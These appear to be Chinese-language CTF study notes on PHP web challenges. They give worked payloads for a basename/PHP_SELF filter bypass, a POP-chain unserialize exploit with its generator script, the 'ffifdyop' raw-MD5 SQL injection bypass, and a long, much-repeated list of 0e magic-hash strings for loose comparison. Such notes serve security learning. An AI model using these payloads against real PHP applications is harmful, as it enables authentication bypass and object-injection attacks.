# PHP
md5 值 0e 开头
QNKCDZO
s878926199a
# [鹤城杯 2021] EasyP
<?php | |
include 'utils.php'; | |
if (isset($_POST['guess'])) { | |
$guess = (string) $_POST['guess']; | |
if ($guess === $secret) { | |
$message = 'Congratulations! The flag is: ' . $flag; | |
} else { | |
$message = 'Wrong. Try Again'; | |
} | |
} | |
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { | |
exit("hacker :)"); | |
} | |
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ | |
exit("hacker :)"); | |
} | |
if (isset($_GET['show_source'])) { | |
highlight_file(basename($_SERVER['PHP_SELF'])); | |
exit(); | |
}else{ | |
show_source(__FILE__); | |
} | |
?> |
这个题目出现了 $_SERVER ['PHP_SELF']
这个是你调用的脚本的路径
比如说这个题目它的值就是 /index.php
如果你访问的是
http://1.14.71.254:28189/index.php/utils.php
那么它的值就会是 /index.php/utils.php
而 $_SEVER ['REQUEST_URL']
它的值这个时候和 $_SERVER ['PHP_SELF'] 的值是一样的,
区别在于,如果你用 get 传参的时候 $_SEVER ['REQUEST_URL'] 是会加上那个参数的,而 $_SERVER ['PHP_SELF'] 不会。
然后是 basename 这个函数。
这个函数是返回最后面一个 / 后面的名字。
basename 函数遇到非 ascii 字符时会将其舍弃
/index.php/utils.php/%81?show[source |
# php 反序列化
php魔术方法
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行
# [SWPUCTF 2021 新生赛] pop
# pop 链表
<?php | |
error_reporting(0); | |
show_source("index.php"); | |
class w44m{ | |
private $admin = 'aaa'; | |
protected $passwd = '123456'; | |
public function Getflag(){ | |
if($this->admin === 'w44m' && $this->passwd ==='08067'){ | |
include('flag.php'); | |
echo $flag; | |
}else{ | |
echo $this->admin; | |
echo $this->passwd; | |
echo 'nono'; | |
} | |
} | |
} | |
class w22m{ | |
public $w00m; | |
public function __destruct(){ | |
echo $this->w00m; | |
} | |
} | |
class w33m{ | |
public $w00m; | |
public $w22m; | |
public function __toString(){ | |
$this->w00m->{$this->w22m}(); | |
return 0; | |
} | |
} | |
$w00m = $_GET['w00m']; | |
unserialize($w00m); | |
?> |
从后往前推,要调用 getflag 就要用到 tostring
要调用 tostring 就要用到 destruct
<?php | |
class w44m{ | |
private $admin = 'w44m'; | |
protected $passwd = '08067'; | |
} | |
class w22m{ | |
public $w00m; | |
public function __destruct(){ | |
echo $this->w00m; | |
} | |
} | |
class w33m{ | |
public $w00m; | |
public $w22m; | |
public function __toString(){ | |
$this->w00m->{$this->w22m}(); | |
return 0; | |
} | |
} | |
$a = new w22m(); | |
$a->w00m = new w33m(); | |
$a->w00m->w00m=new w44m(); | |
$a->w00m->w22m='Getflag'; | |
echo serialize($a); | |
?> |
有不可见字符用 %00 代替
?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
# MD5
MD5 ($pass,true) 的绕过
# [BJDCTF 2020]easy_md5
在 header 看到 hint select * from 'admin' where password=md5($pass,true)
用万能密码 ffifdyop
ffifdyop 哈希后会变成 276f722736c95d99e921722cf9ed621c 然而 mysql 数据库会把 hex 转 ascii 正巧哈希后的字符串转 ascii 前几位是’ or ‘6 因此拼接入查询语句就成了 select * from ‘admin’ where password=’’ or ‘6xxxxxxxxx’ 为一个永真式可以绕过 MD5 函数
# md5 弱类型比较
常见的弱类型比较
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
# MD5 强碰撞
此时如果传入的两个参数不是字符串,而是数组,md5 () 函数无法解出其数值,而且不会报错,就会得到 === 强比较的值相等
param1[]=[1,1]¶m2[]=[2,2] |